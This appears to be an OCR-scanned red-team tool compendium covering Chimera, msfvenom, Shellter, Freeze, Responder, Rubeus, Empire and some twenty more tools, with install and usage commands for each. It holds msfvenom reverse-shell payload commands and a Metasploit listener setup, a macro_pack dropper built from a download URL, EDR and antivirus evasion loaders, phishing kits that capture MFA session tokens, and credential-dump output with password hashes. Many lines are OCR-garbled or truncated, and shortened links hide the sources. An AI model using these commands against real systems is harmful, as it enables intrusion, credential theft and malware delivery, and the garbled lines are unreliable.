sudo git clone https://tinyurl.com/23aqysqc /opt/chimera

sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/

sudo chmod +x chimera.sh; ./chimera.sh ——help

Usage:

./chimera.sh —-f shells/Invoke-PowerShellTcp.psl -1 3 -o /tmp/chimera.psl -v -t po
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-objec
invoke-expression,out-string,write—-error -j -g -k -r —p

= by a@tokyoneon_
= Starting chimera with level: 2
Nishang Obfuscation
= Done
Comment Substitution

Detected: @ comments

Purged content between <#.*#> document tags
& Comment ... '# Far off 1in a distant galaxy, the starshi’
& Comment ... '# An imperial boarding party blasts its wa'
= Comment ... '# The dark, forbidding figure of Darth Vad'
. Comment ... '# In the confusion, Princess Leia slips aw'

= msfvenom

Msfvenom allows the creation of payloads for various operating systems in a wide range of
formats. It also supports obfuscation of payloads for AV bypass.

Set Up Listener

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-ip



set LPORT listening-port
run

Msfvenom Commands

PHP:

msfvenom —-p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R

Windows:

msfvenom —-p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.

Linux:

msfvenom —p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x8

Java:

msfvenom —p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp

HTA:

msfvenom —p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > sh

[

Terminal - root@kali: ~ [ @ a B 23

Fle Edit View Terminal Tabs Help
:-# msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.1.222 lport=1234 -f elf -o origen_shell
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badcha pecified, outputting raw payload

Payload size: 906224 bytes
Final size of elf file: 906224 bytes
Saved as: origen_shell

. -
-

& Shellter

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever
created.

It can be used in order to inject shellcode into native Windows applications (currently 32-bit



applications only).

Shellter takes advantage of the original structure of the PE file and doesn’t apply any
modification such as changing memory access permissions in sections (unless the user wants),
adding an extra section with RWE access, and whatever would look dodgy under an AV scan.

Full README information can be found here.

Install: (Kali)

apt—get update
apt—-get install shellter

Install: (Windows)

Visit the download page and install.

Usage:

Just pick a legit binary to backdoor and run Shellter.
Some nice tips can be found here.

Lots of community usage demos can be found here.



L 4 Shell7er | @ o [O

Choose Operation Mode - Auto/Manual {A/M/H): _

*Image used from https://tinyurl.com/25ch99mw

* Freeze

Freeze is a payload creation tool used for circumventing EDR security controls to execute
shellcode in a stealthy manner.

Freeze utilizes multiple techniques to not only remove Userland EDR hooks, but to also execute
shellcode in such a way that it circumvents other endpoint monitoring controls.

Install:

git clone https://tinyurl.com/2djf5wod
cd Freeze
go build Freeze.go

Usage:

-I string
Path to the raw 64-bit shellcode.



-0 string
Name of output file (e.g. loader.exe or loader.dll). Depending on what fi
—console
Only for Binary Payloads - Generates verbose console information when the
—-encrypt
Encrypts the shellcode using AES 256 encryption
—-export string
For DLL Loaders Only — Specify a specific Export function for a loader to
—process string
The name of process to spawn. This process has to exist in C:\Windows\Sys
—-sandbox
Enables sandbox evasion by checking:
Is Endpoint joined to a domain?
Does the Endpoint have more than 2 CPUs?
Does the Endpoint have more than 4 gigs of RAM?
-sha256
Provides the SHA256 value of the loaders (This is useful for tracking)

*Image used from https://tinyurl.com/2xlykp7x

= WordSteal

This script will create a Microsoft Word Document with a remote image, allowing for the capture
of NTML hashes from a remote victim endpoint.

Microsoft Word has the ability to include images from remote locations, including a remote
image hosted on an attacker controlled SMB server. This gives you the opportunity to listen for,
and capture, NTLM hashes that are sent when an authenticated victim opens the Word
document and renders the image.

Install:

git clone https://tinyurl.com/261lvrh4w
cd WordSteal



Usage:

./main.py 127.0.0.1 test.jpg 1

./main.py 127.0.0.1 test.jpg 0\n

python main.py 127.0.0.1 sample.jpg 1

[+] Generated malicious file: 1497402033.rtf [+]

[+] Script Generated Successfully [+]

[+] Running Metasploit Auxiliary Module [+]

[*] Processing metasploit.rc for ERB directives.

resource (metasploit.rc)> use auxiliary/server/capture/smb
resource (metasploit.rc)> set SRVHOST 127.0.0.1

SRVHOST => 127.0.0.1

resource (metasploit.rc)> set JOHNPWFILE passwords
JOHNPWFILE => passwords

resource (metasploit.rc)> run

[*] Auxiliary module execution completed

[*] Server started.

*Image used from https://tinyurl.com/2a89dauq

= NTAPI Undocumented Functions

This site provides information on undocumented Windows internals, system calls, data
structures, and other low-level details of the Windows operating system.

It can be a valuable resource for individuals who want to explore the internals of Windows for
various purposes, including vulnerability analysis, exploit development, and privilege escalation.

When developing exploits, understanding the internals of the target system is crucial. This site
can help develop exploits by leveraging the low-level undocumented aspects of Windows.

Usage:

Visit https://tinyurl.com/63ns8c



Contents | Index | search ] NTAPI Undocumented Functions

3 About
=) UserMode
=) NTDLL

ol The Undocumented Functions
§$’;“;d‘ Microsoft Windows NT/2000/XP/Win7
E @ Executable imgages
& Q Hardware Control

The NTinterlnals.net team presents:

Currently includes: UserMode (Kernel Mode soon)

& 0 Locale This is an advanced, low-level programer's guide to Windows NT Kernel, Native AP| and drivers.

# Q Memory Management All remarks, fixes and comments are very welcome

- @ NT Objects

@ Security

) Q System Information This software and/or documentation is provided as free and it's freely avaiable and redisributable, in a entirety
) Q Time orin a parts as long as a Copyright and author's name are included. You are hereby permited to use, view, read,

copy, print, publish, redistribute and modify this software and/or documentation.

The software/documentation is provided to you "as is" without warranty of any kind. The entire risk of
usage and all it's consequences including data loss and hardware damage are with you.

If you do not agree to this license conditions please do not use our software and/or documentation.

Written entirely by Tomasz Nowak <tn@tenoware.com>
Sources of & ii and materia inside
Web release by Antoni Sawicki <as@tenoware.com>
Copyright ® 2000-2195 Tomasz Nowsk

Image used from https://tinyurl.com/63ns8c

& Kernel Callback Functions

This technical note provides a comprehensive list all the APIs exported by the Windows Kernel,
for driver writes to register callback routines that are invoked by kernel components under
various circumstances.

Most of these routines are documented in the Windows Driver Kit (WDK) but some of them are
for use by in-box drivers.

The undocumented functions are described briefly whereas the documented ones are just listed
here for reference.

Usage:

Visit https://tinyurl.com/27t8lg7z



Undocumented Functions

DbgSetDebugPrintCallback() installs or removes a caller provided callback function which is invoked whenever DbgPrint(), KdPrint() and their variants are
called, giving them access to the formatted debug output buffer. This is useful when the system is not running under the control of a kernel debugger and the
user wishes to examine the out of DbgPrint(). The DbgView tool from SysInternals uses this API to capture and display output from kernel components. Multiple
callers can install callback, all of which are stored in a doubly linked list whose head is at RtlpDebugPrintCallbackList. The lock at RtlpDebugPrintCallbackLock
protects this list. The value in the Boolean RtlpDebugPrintCallbacksActive determines if any driver has installed such a callback. The prototype of this function is
available in the WDK and is as follows:

VOID (*PDEBUG_PRINT_CALLBACK) (
_In_ PSTRING Output,
_In_ ULONG CompenentId,
_In_ ULONG Level );

NTSTATUS DbgSetDebugPrintCallback (
_In_ PDEBUG_PRINT_CALLBACK DebugPrintcCallback,
_In_ BOOLEAN Enable );

IoRegisterPriorityCallback() is used by storage I/O drivers like classpnp.sys to register a callback (e.g. CLASSPNP!ClassIoBoostPriority) which is used to
notify the driver about I/O priority changes in IRPs that the driver currently owns. A thread's I/O priority is boosted to mitigate priority inversion issues involving
threads with different I/O priorities. The Windows Internals book 6th Edition describes this in Chapter 8. The callbacks are stored in the array
IopUpdatePriorityCallbackRoutine[] which can hold a maximum of 8 callbacks. IoBoostThreadIoPriority() is responsible for making the callbacks. The prototype
of this function, shown below, is NOT available in the WDK:
VOID (*PIO_PRIORITY_CALLBACK) (
_In_ PDRIVER_OBJECT Driverobject,
_In_ PDEVICE_OBJECT Deviceobject,
_In_ PETHREAD Thread,
_In_ IO_PRIORITY_HINT PriorityHint );
NTSTATUS IoRegisterPriorityCallback (
_In_ PDRIVER_OBJECT Driverobject,
_In_ PIO_PRIORITY_CALLBACK Callback );

VOID IoUnregisterPriorityCallback (
_In_ PDRIVER_OBJECT Driverobject );

Image used from https://codemachine.com

= OffensiveVBA

A collection of offensive techniques, scripts and useful links for achieving code execution and
defense evasion via office macros.

Usage:

Visit https://tinyurl.com/2ajorjep#templates-in-this-repo



Templates in this repo

File Description

Execute an OS command via ShellApplication object and
ShellExecute method

Execute an privileged OS command via ShellApplication object
and ShellExecute method - UAC prompt

Execute shellcode in the current process via Win32 CreateThread
Execute shellcode in the current process via EnumChildWindows

Create a new process for code execution via Win32
CreateProcess function

Create a new process for code execution via Win32 ShellExecute
function

*Image used from https://tinyurl.com/235hovce

o<WSH

Creating payload:

Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,

Execute:

wscript payload.vbs
cscript.exe payload.vbs
wscript /e:VBScript payload.txt //If .vbs files are blacklisted

HTA

Creating payload:

< >
< >
< >

var c= 'cmd.exe'

new ActiveXObject('WScript.Shell").Run(c);
</ >
</ >



</ >

Execute: Run file

“VBA

Creating payload:

Sub calc()
Dim payload As String
payload = "calc.exe"
CreateObject("Wscript.Shell").Run payload,®
End Sub

Execute: Set function to Auto_Open() in macro enabled document
Initial Access

Bash Bunny

The Bash Bunny is a physical USB attack tool and multi-function payload delivery system. It is
designed to be plugged into a computer's USB port and can be programmed to perform a
variety of functions, including manipulating and exfiltrating data, installing malware, and
bypassing security measures.

hackinglab: Bash Bunny — Guide
Hak5 Documentation
Nice Payload Repo

Product Page



= EvilGoPhish

evilginx2 + gophish. (GoPhish) Gophish is a powerful, open-source phishing framework that

makes it easy to test your organization's exposure to phishing. (evilginx2) Standalone man-in-

the-middle attack framework used for phishing login credentials along with session cookies,

allowing for the bypass of 2-factor authentication

Install:

git clone https://tinyurl.com/2yv7uw9s

Usage:

Usage:

./setup <root domain> <subdomain(s)> <root domain bool> <redirect url> <feed bool

- root domain
— subdomains
- root domain bool
- redirect url
- feed bool
- rid replacement
- blacklist bool
Example:
./setup.sh example.com "accounts

- the root domain to be used for the campaign
- a space separated list of evilginx2 subdomai
- true or false to proxy root domain to evilgi
- URL to redirect unauthorized Apache requests
— true or false if you plan to use the live fe
- replace the gophish default "rid" in phishin
- true or false to use Apache blacklist

myaccount" false https://tinyurl.com/29yobbg2
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“Social Engineer Toolkit (SET)

This framework is great for creating campaigns for initial access, 'SET has a number of custom
attack vectors that allow you to make a believable attack quickly".

Install:
git clone https://tinyurl.com/2azfdy7a; cd set; python setup.py install
Usage:

python3 setoolkit



oolkit (SET)
(ReL1K)

2na Maverick
olLlow us on Twitter: @TrustedSec
Follow me on Twitter: @HackingDave
Homepage: https://www.trustedsec.com
Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
g the PenTesters

S easy to update usin

‘: Https}//github.com/trUstedsec/ptf to ,h_g,ﬁ f., your

t from the menu:
1) Social-Engineering Attacks
2) Penetration fest1§g (Fast-Track)
3) Third Party Modules
4) Update the cial-Engineer Toolkit
5) Update S configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Hydra

Nice tool for logon brute force attacks. Can bf a number of services including SSH, FTP, TELNET,
HTTP etc.

Install:
sudo apt install hydra
Usage:

hydra —-L USER.TXT —-P PASS.TXT 1.1.1.1 http-post-form "login.php:username-"USER™&p
hydra -L USER.TXT —-P PASS.TXT 1.1.1.1 ssh



= SquarePhish

SquarePhish is an advanced phishing tool that uses a technique combining OAuth Device code
authentication flow and QR codes (See PhishinSuits for more about OAuth Device Code flow for
phishing attacks).

Attack Steps:

e Send malicious QR code to victim
¢ Victim scans QR code with mobile device

e Victim directed to attacker controlled server (Triggering OAuth Device Code authentication
flow process)

e Victim emailed MFA code (Triggering OAuth Device Code flow 15 minute timer)
e Attacker polls for authentication
e Victim enters code into legit Microsoft website

e Attacker saves authentication token

Install:
git clone https://tinyurl.com/22rr2mga; cd squarephish; pip install -r requiremen
Note: Before using either module, update the required information in the settings.config file

noted with Required .

Usage (Email Module):

usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]

optional arguments:
-h, —-help show this help message and exit

—c CONFIG, —--config CONFIG
squarephish config file [Default: settings.config]



——debug enable server debugging

-e EMAIL, —-—email EMAIL
victim email address to send initial QR code email to

Usage (Server Module):

usage: squish.py server [-h] [-c CONFIG] [--debug]

optional arguments:
-h, ——help show this help message and exit

—c CONFIG, —--config CONFIG
squarephish config file [Default: settings.config]

——debug enable server debugging

ACTION REQUIRED: Multi-Factor Authentication (MFA) Update

shark@
Thu 4/14/2022 12:52 PM

To: Minnow

Microsoft Authenticator Update Needed

Your Microsoft Authenticator token has expired. Please scan
the QR code below to generate a new device code for your
Microsoft Authenticator App.

The code will be emailed to you, and you should enter it at
https://login.microsoftonline.com/common/oauth2/devicea
uth

= King Phisher

King Phisher is a tool that allows attackers to create and send phishing emails to victims to
obtain sensitive information.



It includes features like customizable templates, campaign management, and email sending
capabilities, making it a powerful and easy-to-use tool for carrying out phishing attacks. With
King Phisher, atackers can target individuals or organizations with targeted and convincing
phishing emails, increasing the chances of success in their attacks.

Install (Linux - Client & Server):

wget —q https://tinyurl.com/hhkdzkc/raw/master/tools/install.sh && \
sudo bash ./install.sh
Usage:

Once King Phisher has been installed please follow the wiki page to setup SSH, Database config,
SMTP server etc.

[\King Phisher

File Edit Tools Help
Send Messages View Campaign
Dashboard Visits Credentials

Campaign Message Results
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Responder is a tool for poisoning the LLMNR and NBT-NS protocols on a network, to allow for
credential capture and arbitrary code execution.

The LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service)
protocols are used by Windows systems to resolve hostnames to IP addresses on a local
network. If a hostname cannot be resolved using these protocols, the system will broadcast a
request for the hostname to the local network.

Responder listens for these broadcasts and responds with a fake IP address, tricking the
requesting system into sending its credentials to the attacker.

Install:

git clone https://tinyurl.com/naubcq2
cd Responder

Usage:

./Responder.py [options]

./Responder.py -I eth@ —wrf

Full usage information can be found here.



:/usr/share/responder# responder -I ethO

NBT-NS, LLMNR & MDNS Responder 2.2

Original work by Laurent Gaffie (lgaffie@trustwave.com)
To kill this script hit CRTL-C

|+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]

Servers:

HTTP server [ON]
HTTPS server [ON]
WPAD proxy

SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP servear [ON]

HTTP Options:

Always serving EXE

Sarving EXE [ON]
Serving HTML

Upstream Proxy

Poisoning Options:

Analyze Mode

Force WPAD auth

Force Basic Auth

Force LM downgrade

Fingerprint hosts

Genaric Options:

Responder NIC [ethO]

Responder IP [192.168.100,102]
Challenge set [1122334455667788]

[+] Listening for events...

*Image used from https://tinyurl.com/2ahdxuy3

= secretsdump

A utility that is part of the Impacket library that can be used to extract password hashes and
other secrets from a Windows system.

It does this by interacting with the Security Account Manager (SAM) database on the system
and extracting the hashed passwords and other information, such as:




e Password hashes for local accounts
e Kerberos tickets and keys
e | SA Secrets

Install:

python3 -m pip install impacket

Usage:

secretsdump.py -ntds /root/ntds_cracking/ntds.dit —-system /root/ntds_cracking/sys

secretsdump.py —-dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:Sheffield19@10.10.10.30

- ~ secretsdump.py ISENGARD/Administrator:lqazxsw2..@172.16.119.140
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state

[*] Starting service RemoteRegistry

[*] Target system bootKey: 0x16c48a561dd221871ae328c3aa486e68

[*] Dumping local SAM hashes (uid:rid:1lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ea3304523627a0011825265652677fcc: ::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089cO: : :
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31dbcfe@d16ae931b73c59d7e0c@89¢O: : :
[*] Dumping cached domain logon information (domain/username:hash)

[*] Dumping LSA Secrets

[*] $MACHINE.ACC
ISENGARD\DCOQ1$%:aes256-cts-hmac-shal-96:ff91c54e333a0c11da@2bba99b2862530ecbbbd@8ea9f308a37b0c6l1f73f8ffb
ISENGARD\DCO1%:a0es128-cts-hmac-shal-96:12380b843b9577abeel12d49dc5¢c236f7
ISENGARD\DCQ1%:des-cbc-mdS:5dae621a5dfb084a
ISENGARD\DCOQ1$%:aad3b435b51404eeaad3b435b51404ee:b23a61ea7a313536d9f5¢cb300943b638: : :

[*] DPAPI_SYSTEM

dpapi_machinekey:0xd2fb28b@1ce9824dbZ2eclcldebZ2e@abdfdd96aaa
dpapi_userkey:0x0d665357dff2089e7c059b36d0282643a8c8c3dc

/\C[_]

[*] Cleaning up...

[*] Stopping service RemoteRegistry

Image used from https://tinyurl.com/23bot9ff#secretsdumppy

& evil-winrm

Evil-WinRM is a tool that provides a command line interface for Windows Remote Management
(WIinRM: A service that allows administrators to remotely execute commands on a Windows
machine).

Evil-WinRM allows an attacker to remotely connect to a Windows machine using WinRM and



execute arbitrary commands.
Some features include:

e Loading in memory Powershell scripts

e Loading in memory dll files bypassing some AVs
e |Loading x64 payloads

e Pass-the-hash support

e Uploading and downloading local and remote files

Install: (Git)

sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://tinyurl.com/yyj7vkrg.git
cd evil-winrm

Install: (Ruby gem)

gem install evil-winrm

Alternative installation instructions can be found here.

Usage:

evil-winrm -i 192.168.1.100 -u Administrator —-p 'MySuperSecr3tPass123!' —s '/hom

upload local_filename
upload local_filename destination_filename

download remote_filename
download remote_filename destination_filename

Invoke-Binary /opt/csharp/Rubeus.exe

Dll-Loader —http https://tinyurl.com/28qqkk33

Full usage documentation can be found here.



~/HTB/machines/heist
10.129.83.204 A

\Documents> ¢
> dir

Directory: C:\Users\Chase

LastWriteTime Length Name

4 AM
AM
PM
PM D
PM D
AM F
AM
K
p
.

Videos

*Image used from https://tinyurl.com/245p4t7x

* Donut

A tool for in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assembilies. It
can be used to load and run custom payloads on target systems without the need to drop files to
disk.

Install: (Windows)

git clone https://tinyurl.com/2y7xkuyf

To generate the loader template, dynamic library donut.dll, the static library donut.lib and the
generator donut.exe. Start an x64 Microsoft Visual Studio Developer Command Prompt, change
to the directory where you cloned the Donut repository and enter the following:

nmake —-f Makefile.msvc

To do the same, except using MinGW-64 on Windows or Linux, change to the directory where
you cloned the Donut repository and enter the following:

make —-f Makefile.mingw

Install: (Linux)



pip3 install donut-shellcode

Usage:

shellcode = donut.create(file=r"C:\\Tools\\Source\\Repos\\donut\\calc.xsl")

shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dl

For full usage information, see the donut GitHub Page.

See a recent blog post from The Wover for more info.

[ Donut .NET Loader vO.

oyright (¢

create for asse

D notepad.exe -f loader.d

D) notepad.exe

= Macro_pack

A tool used to automatize the obfuscation and generation of Office documents, VB scripts,
shortcuts, and other formats for red teaming.

Install: (Binary)

1. Get the latest binary from https://tinyurl.com/ydb277y6/releases/
2. Download binary on PC with genuine Microsoft Office installed.

3. Open console, CD to binary dir and call the binary

Install: (Git)

git clone https://tinyurl.com/ydb277y6.git
cd macro_pack
pip3 install -r requirements.txt



Usage:

python3 macro_pack.py —--help

macro_pack.exe ——listformats

msfvenom —p windows/meterpreter/reverse_tcp LH0ST=192.168.0.5 —-f vba | macro_pack

macro_pack.exe —-f empire.vba -0 -G myDoc.docm

echo "https://tinyurl.com/27yupoul" "dropped.exe" | macro_pack.exe —o -t DROPPER

echo calc.exe | macro_pack.exe ——dde -G calc.xslx

rations...

ting for piped input feed...

Target output for owerPoint
rary working dir: F:\macro_pack\temp
input in file...
y input file: F:\macro_pack\temp\command.cmd

re PowerPoint file generation...

ack\meterpreter.rc

c\meterpreter.rc’

document...
FE\Office\16.0\PowerPoint\Security to 1...

personal info...

Office\16.8\PowerPoint\Security to ...
int file path: F:\macro_pack\mystager.pptm

\macro_pack.py --run F:\macro_pack\mystager.pptm

Cleaning...
Done!




= PowerSploit

A collection of PowerShell scripts and modules that can be used to achieve a variety of red
teaming objectives.

Some of the features of PowerSploit:

e Dump password hashes and extract clear-text passwords from memory

Escalate privileges and bypass security controls

Execute arbitrary PowerShell code and bypass execution restrictions

Perform network reconnaissance and discovery

Generate payloads and execute exploits
Install: 7. Save to PowerShell modules folder

First you will need to download the PowerSploit Folder and save it to your PowerShell modules
folder.

Your PowerShell modules folder path can be found with the following command:

$Env:PSModulePath

Install: 2. Install PowerSploit as a PowerShell module
You will then need to install the PowerSploit module (use the name of the downloaded folder).

Note: Your PowerShell execution policy might block you, to fix this run the following command.

powershell.exe —-ep bypass

Now you can install the PowerSploit module.

Import-Module PowerSploit

Usage:

Get-Command -Module PowerSploit



PS C:\Users

> powershell.exe bypass

Windows PowerShell

Copyright (C) Microsoft Corporation. 211 rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users
PS C:\Users

CommandType

* Rubeus

> Import—Module PowerSploit

> G PowerSploit

Name

Add-Objectacl
Convert—-NameToSid
Convert—-SidToName
Find-ForeignGroup
Find-ForeignUser
Find-GPOComputerAdmin
Find-GPOLocation
Find-ManagedSecurityGroups
Get-ADObject
Get—CachedRDPConnection
Get-CurrentUserTokenGroupSid
Get-DFSshare

Get-DNSRecord

Get-DNSZone
Get—-DomainPolicy

W W W wwwwwwwwwwww
P O 0O 0000000000000

Source

PowerSploit
PowerSploit
PowerSploit
PowerSploit
PowerSploit
PowerSploit
PowerSploit
PowerSploit
PowerSploit
PowerSploit
PowerSploit
PowerSploit
PowerSploit
PowerSploit

PowerSploit

A tool that can be used to perform various actions related to Microsoft Active Directory (AD)

environments, such as dumping password hashes, creating/deleting users, and modifying user

properties.

Some of the features of Rubeus:

e Kerberoasting

e Golden ticket attacks

e Silver ticket attacks

Install: (Download)

You can install the unofficial pre-compiled Rubeus binary here.

Install: (Compile)

Rubeus is compatible with Visual Studio 2019 Community Edition. Open the rubeus project .sln,
choose "Release", and build.

Usage:

Rubeus.exe -h



Action: Kerberoasting

NOTICE: AES hashes will be returned for AES-enabled accounts.
Use /ticket:X or /tgtdeleg to force RC4 HMAC for these accounts.

Searching the current domain for Kerberoastable users
Found 1 user(s) to Kerberoast!

SamAccountName : sglservice

DistinguishedName : CN=SQL Service,CN=Users,DC=akimbo,DC=core,DC=1abs
ServicePrincipalName : MSSQLsvc/sqlserver.akimbo.core.labs:MSSQLSERVER
PudLastSet : 2/16/20206 3:18:14 PM

Supported ETypes : RC4_HMAC DEFAULT

Hash written to C: \UQQPQ\ngPqu DeQKtop\out john

Roasted hashes written to : C:\Users\gmorris\Desktop\out.john

= SharpUp

A nice tool for checking a victims endpoint for vulnerabilites relating to high integrity processes,
groups, hijackable paths, etc.

Install: (Download)
You can install the unofficial pre-compiled SharpUp binary here.
Install: (Compile)

SharpUp is compatible with Visual Studio 2015 Community Edition. Open the SharpUp project
.sln, choose "Release", and build.

Usage:

SharpUp.exe audit
SharpUp.exe HijackablePaths

SharpUp.exe audit HijackablePaths



SharpUp: Running Privilege Escalation Checks
In medium integrity but user is a local administrator— UAC can be bypassed.

Audit mode: running all checks anyway.

Modifiable Services ===

Modifiable Service Binaries

Name : neo4dj
DisplayName : Neod4j Graph Database neodj
Description t Neod4j Graph Database C:\tools\neodj-community\neodj-connu

: Stopped

StartMode : Manual
PathNane : C:\Tools\neodj-community\neodj-community-3.5.1\bin\tools\pn

mnsrv-andb4.exe //RS//neodj

=== AlwaysInstallElevated Registry Keys ===

* Modifiable Folders in %ZPATHZ

Modifable %PATHxz Folder : C:\tools\ruby26\bin
Modifable %PATH%Z Folder : C:\ProgramData\Boxstarter
Modifable “PATHx Folder : C:\Go\bin

Modifabhle “PATHZ Folder : C:\tools\Cnder

Modifabhle #“PATH% Folder : C:\Python3?\Scripts
Modifable %PATHx Folder : C:\Python3?

Modifable %PATHx Folder : C:\Python2?\Scripts
Modifable “PATHx Folder : C:\Python2?

& SQLRecon

MS-SQL (Microsoft SQL Server) is a relational database management system developed and
marketed by Microsoft.

This C# MS-SQL toolkit is designed for offensive reconnaissance and post-exploitation. For
detailed usage information on each technique, refer to the wiki.

Install: (Binary)
You can download the latest binary release from here.

Usage:

SQLRecon.exe —a Windows -s SQL@1 -d master —m whoami

SQLRecon.exe —a Local -s SQL02 -d master —u sa —-p Passwordl123 -m whoami

SQLRecon.exe —-a azure —-s azure.domain.com -d master —-r domain.com -u skawa -p Pas



SQLRecon.exe —a Windows -s SQL@1 -d master —m whoami

SQLRecon.exe —a Windows -s SQL@1 -d master —-m databases

SQLRecon.exe —a Windows -s SQL@1 -d master —m tables —-o AdventureWorksLT2019

Full usage information can be found on the wiki.

Tool module usage information can be found here.

Image used from SQLRecon help page

= UltimateAppLockerByPassList
This resrouce is a collection of the most common and known techniques to bypass AppLocker.

Since AppLocker can be configured in different ways @apiOcradle maintains a verified list of
bypasses (that works against the default AppLocker rules) and a list with possible bypass
technique (depending on configuration) or claimed to be a bypass by someone.

They also have a list of generic bypass techniques as well as a legacy list of methods to execute
through DLLs.

Indexed Lists

e Generic-AppLockerbypasses.md

e VerifiedAppLockerBypasses.md



e UnverifiedAppLockerBypasses.md

e DLL-Execution.md

apiOcradle Merge pull request #15 from altonius/patch-1 ..

AppLocker-BlockPolicies

Scripts

md

il

DLL-Execution.md
Generic-ApplLockerbypasses.md
README.md
UnverifiedAppLockerBypasses.md
VerifiedAppLockerBypasses.md

template.yml

Image used from https://tinyurl.com/28y83ks6

= StarFighters

A JavaScript and VBScript Based Empire Launcher, which runs within their own embedded
PowerShell Host.

Both Launchers run within their own embedded PowerShell Host, so we don't need
PowerShell.exe.

This might be usefull when a company is blocking PowerShell.exe and/or is using a Application
Whitelisting solution, but does not block running JS/VBS files.

Usage:

e Setup a new Listener within PowerShell Empire
e Use the Launcher command to Generate a PowerShell launcher for this listener

e Copy and Replace the Base64 encoded Launcher Payload within the StarFighter JavaScript
or VBScript file

For the JavaScript version use the following Variable:

var EncodedPayload = "<Paste Encoded Launcher Payload Here>"



For the VBScript version use the following Variable:

Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"

e Then run: wscript.exe StarFighter.js or StarFighter.vbs on Target, or DoubleClick the
launchers within Explorer.

function

function
function
var ¢
var
var
var

var

*Image used from https://tinyurl.com/262nwjh7

= demiguise
The aim of this project is to generate .html files that contain an encrypted HTA file.

The idea is that when your target visits the page, the key is fetched and the HTA is decrypted
dynamically within the browser and pushed directly to the user.

This is an evasion technique to get round content / file-type inspection implemented by some
security-appliances.

Further technical information here.

Install:

git clone https://tinyurl.com/ybzoengl
cd demiguise



Usage:

python demiguise.py -k hello -c "notepad.exe" —-p Outlook.Application -o test.hta

Image used from https://tinyurl.com/ybzoengl

* PowerZure

PowerZure is a PowerShell project created to assess and exploit resources within Microsoft's
cloud platform, Azure. PowerZure was created out of the need for a framework that can both
perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.

There is zero reason to ever run PowerZure on a victim’'s machine. Authentication is done by
using an existing accesstoken.json file or by logging in via prompt when logging into Azure,
meaning you can safely use PowerZure to interact with a victim's cloud instance from your
operating machine.

Install:

Install-Module -Name Az

git clone https://tinyurl.com/22prlgd2
cd PowerZure

ipmo C:\path\to\PowerZure.psdl

Usage:

Get-AzureTarget

Blog - Attacking Azure, Azure AD, and Introducing PowerZure



PowerZure version 1.0

List of Functions

pelifels ETiEi=s s=ssss=ssss======= Mandatory
Set-Subscription - Sets the default Subscription to operate in

Operational

ontributor Execute-Command - Will run a command on a specified VM
ontributor Execute-MSBuild - Will run a supplied MSBuild payload on a specified VM. By default, Az
dministrator Create-Backdoor - Will create a Runbook that creates an Azure account and generates a W

This requires an account that is part of the 'Administrators' Role (Needed to make a us
dministrator Execute-Backdoor - This runs the backdoor that is created with "Create-Backdoor”™. Needs
ontributor Upload-StorageContent - Uploads a supplied file to a storage share.

Stop-VM - Stops a VM

Start-VM - Starts a VM

Restart-VM - Restarts a VM

Start-Runbook - Starts a specific Runbook

Info Gathering

Get-CurrentUser - Returns the current logged in user name, their role + groups, and any
Get-AzureUsers - Lists all users in the subscription

Get-AzureUser - Gathers info on a specific user

Get-AzureGroups - Lists all groups + info within Azure AD

Image used from https://hakin9.org

Persistence

sImpacket

Impacket provides a set of low-level Python bindings for various network protocols, including
SMB, Kerberos, and LDAP, as well as higher-level libraries for interacting with network services
and performing specific tasks such as dumping password hashes and creating network shares.

It also includes a number of command-line tools that can be used to perform various tasks such
as dumping SAM databases, enumerating domain trusts, and cracking Windows passwords.

Install:
python3 -m pip install impacket

Install: (With Example Scripts)

Download and extract the package, then navigate to the install folder and run...

python3 -m pip install .



Usage:

secretsdump.py —-ntds /root/ntds_cracking/ntds.dit —-system /root/ntds_cracking/sys

netview.py domain/user:password -target 192.168.10.2

mssqlinstance.py 192.168.1.2

GetADUsers.py domain/user:password@IP

Great cheat sheet for Impacket usage.

= Empire

Empire is a post-exploitation framework that allows you to generate payloads for establishing
remote connections with victim systems.

Once a payload has been executed on a victim system, it establishes a connection back to the
Empire server, which can then be used to issue commands and control the target system.

Empire also includes a number of built-in modules and scripts that can be used to perform
specific tasks, such as dumping password hashes, accessing the Windows registry, and
exfiltrating data.

Install:

git clone https://tinyurl.com/lyf7zhg
cd Empire
sudo ./setup/install.sh



Usage:

./empire

list agents

list listeners

Nice usage cheat sheet by HarmJoy.

[Version] 2.0 | [Web] https://theempire.io

